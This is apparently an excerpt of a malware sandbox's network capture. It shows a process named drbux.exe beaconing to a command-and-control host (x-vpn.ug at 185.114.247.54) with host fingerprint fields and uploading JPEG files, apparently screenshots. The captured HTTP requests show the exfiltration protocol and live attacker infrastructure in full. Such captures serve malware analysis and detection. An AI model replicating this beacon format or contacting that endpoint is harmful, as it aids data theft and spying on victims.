Jul 19, 2021 18:35:30.116518974 CEST	2785	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:30.116640091 CEST	2807	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:30.210686922 CEST	2831	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:30.223530054 CEST	2852	OUT	Data Raw: 68 91 ff 00 c2 0d 7b a6 dc 59 46 ba e4 3a 9d d2 c5 20 41 e6 33 41 1c 45 e2 cf 52 36 99 08 1e aa 3d 6a 3e b1 1d 7f af eb 46 99 6a 84 9d bf af eb 66 8e 30 52 9a ef ae 63 d1 74 7d 13 44 b3 ba b0 b5 62 b7 97 1a 7e a7 72 63 53 20 76 8a 36 62 1b a8 31 Data Ascii: h{YF: A3AER6=j>Fjf0Rct}Db~rcS v6b145]"Bl..mY`M4[B2;:oBNcLK;s<:Mn,KEc9A >nd!%"D`F#hx{PokyJ+
Jul 19, 2021 18:35:30.304907084 CEST	2865	OUT	Data Raw: 4b 39 a3 ba 8a 55 49 91 8e c8 a6 e4 02 0f 5d 98 fc cd 54 7d 1c 47 23 23 ea 36 8a ca 48 60 56 5c 83 ff 00 7c 57 99 5c ea 57 d7 b9 fb 55 ed cc f9 eb e6 ca cd fc cd 7a fe a2 f6 23 54 bb 0f 6f 70 5b ce 7c 91 3a 80 4e e3 db 65 72 f3 0d 62 dc 96 8a c5 Data Ascii: K9UI]T}G##6H`V\\|W\WUz#Top[\|:Nerb/,$,57w"ddeU*A_?\|LT^mlT%i-Rb0JN@'pzd#Top[\|:Nep?+NHaZt#EWa!KIK@- E%(QL@(AE%-(

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.6	49924	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:20.483654976 CEST	15312	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:20.573739052 CEST	15320	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.6	49925	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:20.767954111 CEST	15321	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:20.859528065 CEST	15335	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.6	49926	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:20.835465908 CEST	15321	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----e3cd68d0340c9501057cf59557b22e7d Host: x-vpn.ug Content-Length: 96889 Cache-Control: no-cache
Jul 19, 2021 18:36:20.835768938 CEST	15322	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 33 63 64 36 38 64 30 33 34 30 63 39 35 30 31 30 35 37 63 66 35 39 35 35 37 62 32 32 65 37 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------e3cd68d0340c9501057cf59557b22e7dContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:20.836003065 CEST	15332	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:20.836230993 CEST	15334	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:20.914885998 CEST	15335	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:20.915379047 CEST	15338	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:20.915767908 CEST	15341	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:20.916201115 CEST	15343	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:20.916512966 CEST	15346	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:20.916630030 CEST	15349	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:20.916771889 CEST	15351	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:20.917066097 CEST	15354	OUT	Data Raw: 24 7d 38 1a 8f 34 e0 68 11 20 34 e0 6a 30 69 d9 f4 a6 43 44 a0 d3 c3 54 20 d3 c1 a6 43 44 e1 a9 c0 83 d4 66 a1 06 9c 0d 2b 10 d0 f3 0a 37 6c 53 7e cb 9e 86 94 1a 90 36 2a 5d d1 37 92 21 f2 18 76 a6 ec c1 ab 8a f5 30 68 db ef a0 35 2e 6d 02 9e ba Data Ascii: $}84h 4j0iCDT CDf+7lS~6]7!v0h5.mhj+CiRFVh'2L2+YTEQ,r>$oOlTL<V%PC=:CFV8=*"rJLVlmJ7C2NG12Ey]XZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.6	49927	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:21.049942017 CEST	15412	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:21.148483038 CEST	15421	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.6	49928	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:21.285139084 CEST	15422	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----e3cd68d0340c9501057cf59557b22e7d Host: x-vpn.ug Content-Length: 96889 Cache-Control: no-cache
Jul 19, 2021 18:36:21.285162926 CEST	15422	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 33 63 64 36 38 64 30 33 34 30 63 39 35 30 31 30 35 37 63 66 35 39 35 35 37 62 32 32 65 37 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------e3cd68d0340c9501057cf59557b22e7dContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:21.285180092 CEST	15432	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:21.285203934 CEST	15435	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:21.382268906 CEST	15438	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:21.382473946 CEST	15440	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:21.382740974 CEST	15443	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:21.382843971 CEST	15446	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:21.383157015 CEST	15449	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:21.383521080 CEST	15451	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:21.383773088 CEST	15454	OUT	Data Raw: 24 7d 38 1a 8f 34 e0 68 11 20 34 e0 6a 30 69 d9 f4 a6 43 44 a0 d3 c3 54 20 d3 c1 a6 43 44 e1 a9 c0 83 d4 66 a1 06 9c 0d 2b 10 d0 f3 0a 37 6c 53 7e cb 9e 86 94 1a 90 36 2a 5d d1 37 92 21 f2 18 76 a6 ec c1 ab 8a f5 30 68 db ef a0 35 2e 6d 02 9e ba Data Ascii: $}84h 4j0iCDT CDf+7lS~6]7!v0h5.mhj+CiRFVh'2L2+YTEQ,r>$oOlTL<V%PC=:CFV8=*"rJLVlmJ7C2NG12Ey]XZ
Jul 19, 2021 18:36:21.697379112 CEST	15520	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.6	49929	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:21.361298084 CEST	15435	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:21.459214926 CEST	15461	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.6	49930	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:21.674551964 CEST	15520	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:21.779133081 CEST	15521	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.6	49931	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:22.262821913 CEST	15522	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:22.355761051 CEST	15561	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.6	49932	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:22.264153957 CEST	15522	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:22.264312983 CEST	15522	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
